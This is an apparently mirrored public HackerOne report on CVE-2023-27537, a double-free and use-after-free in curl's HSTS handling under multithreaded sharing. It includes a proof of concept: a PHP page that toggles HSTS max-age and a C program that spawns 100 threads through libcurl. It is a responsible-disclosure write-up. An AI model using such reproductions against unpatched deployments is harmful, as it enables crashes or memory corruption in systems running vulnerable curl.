HexBrain

curl · Report #1897203

CVE-2023-27537: HSTS double-free

Validstatus
lowseverity
12upvotes
20 Mar 2023disclosed

How it was found

Summary:

When processing HSTS with multi-threading, double-free or UAF may occur due to lack of exclusion control. HSTS entries disappear when they expire or when "max-age=0" is received. In this case, the offending entry is removed from the internal memory list, freeing memory but not exclusivity control. Therefore, depending on the timing, other threads may perform the operation, resulting in double-free or UAF.

lib/hsts.c in the function Curl_hsts_parse on lines 213-221

  if(!expires) {
    /* remove the entry if present verbatim (without subdomain match) */
    sts = Curl_hsts(h, hostname, FALSE);
    if(sts) {
      Curl_llist_remove(&h->list, &sts->node, NULL);
      hsts_free(sts);
    }
    return CURLE_OK;
  }

If multiple threads process hsts_free(sts); at the same time, it becomes double-free. Another problem is that UAF occurs when other threads access entries.

Lines 270-275 have a similar problem.

Steps To Reproduce:

  1. [Prepare the following php.]
<?php
$random = rand(0, 1);
if($random == 0){
        header("strict-transport-security: max-age=9999");
}else{
        header("strict-transport-security: max-age=0");
}
  1. [Compile and run the following cpp.]
#include <stdio.h>
#define HAVE_STRUCT_TIMESPEC // [Add] 
#include <pthread.h>
#include <curl/curl.h>

#define NUMT 100

const char* const url = "https://test.local/poc.php";

pthread_mutex_t lock[9];

static void lock_cb(CURL* handle, curl_lock_data data,
    curl_lock_access access, void* userptr)
{
    pthread_mutex_lock(&lock[data]); /* uses a global lock array */
}

static void unlock_cb(CURL* handle, curl_lock_data data,
    void* userptr)
{
    pthread_mutex_unlock(&lock[data]); /* uses a global lock array */
}

static void* pull_one_url(void* shobject)
{
    CURL* curl;

    for (int i = 0; i < 100; i++) {
        curl = curl_easy_init();
        curl_easy_setopt(curl, CURLOPT_URL, url);
        curl_easy_setopt(curl, CURLOPT_HSTS, "c:\\home\\hsts.txt");
        curl_easy_setopt(curl, CURLOPT_SHARE, shobject);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_perform(curl); /* ignores error */
        curl_easy_cleanup(curl);
    }

    return NULL;
}

int main(int argc, char** argv)
{
    pthread_t tid[NUMT] = {0};
    int i;

    for(i = 0;i<=9;i++)
        pthread_mutex_init(&lock[i], NULL);
    
    /* Must initialize libcurl before any threads are started */
    curl_global_init(CURL_GLOBAL_ALL);
    CURLSH* shobject = curl_share_init();
    curl_share_setopt(shobject, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);
    curl_share_setopt(shobject, CURLSHOPT_LOCKFUNC, lock_cb);
    curl_share_setopt(shobject, CURLSHOPT_UNLOCKFUNC, unlock_cb);
    for (i = 0; i < NUMT; i++) {
        int error = pthread_create(&tid[i],
            NULL, /* default attributes please */
            pull_one_url,
            (void*)shobject);
        if (0 != error)
            fprintf(stderr, "Couldn't run thread number %d, errno %d\n", i, error);
        else
            fprintf(stderr, "Thread %d, gets %s\n", i, url);
    }

    /* now wait for all threads to terminate */
    for (i = 0; i < NUMT; i++) {
        pthread_join(tid[i], NULL);
        fprintf(stderr, "Thread %d terminated\n", i);
    }
    curl_share_cleanup(shobject);
    curl_global_cleanup();
    return 0;
}

The source was referred to under docs/examples.

Supplement. URL is https://test.local/poc.php. php that randomly memorizes and deletes HSTS entries. It's hard to reproduce if it's random, but I've confirmed that the problem will occur. I attach an image of when the UAF happened(I tried in debug build). The number of threads and the number of loops are increased in order to raise the possibility that the phenomenon will occur. {F2216003}

Impact

Double-free

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original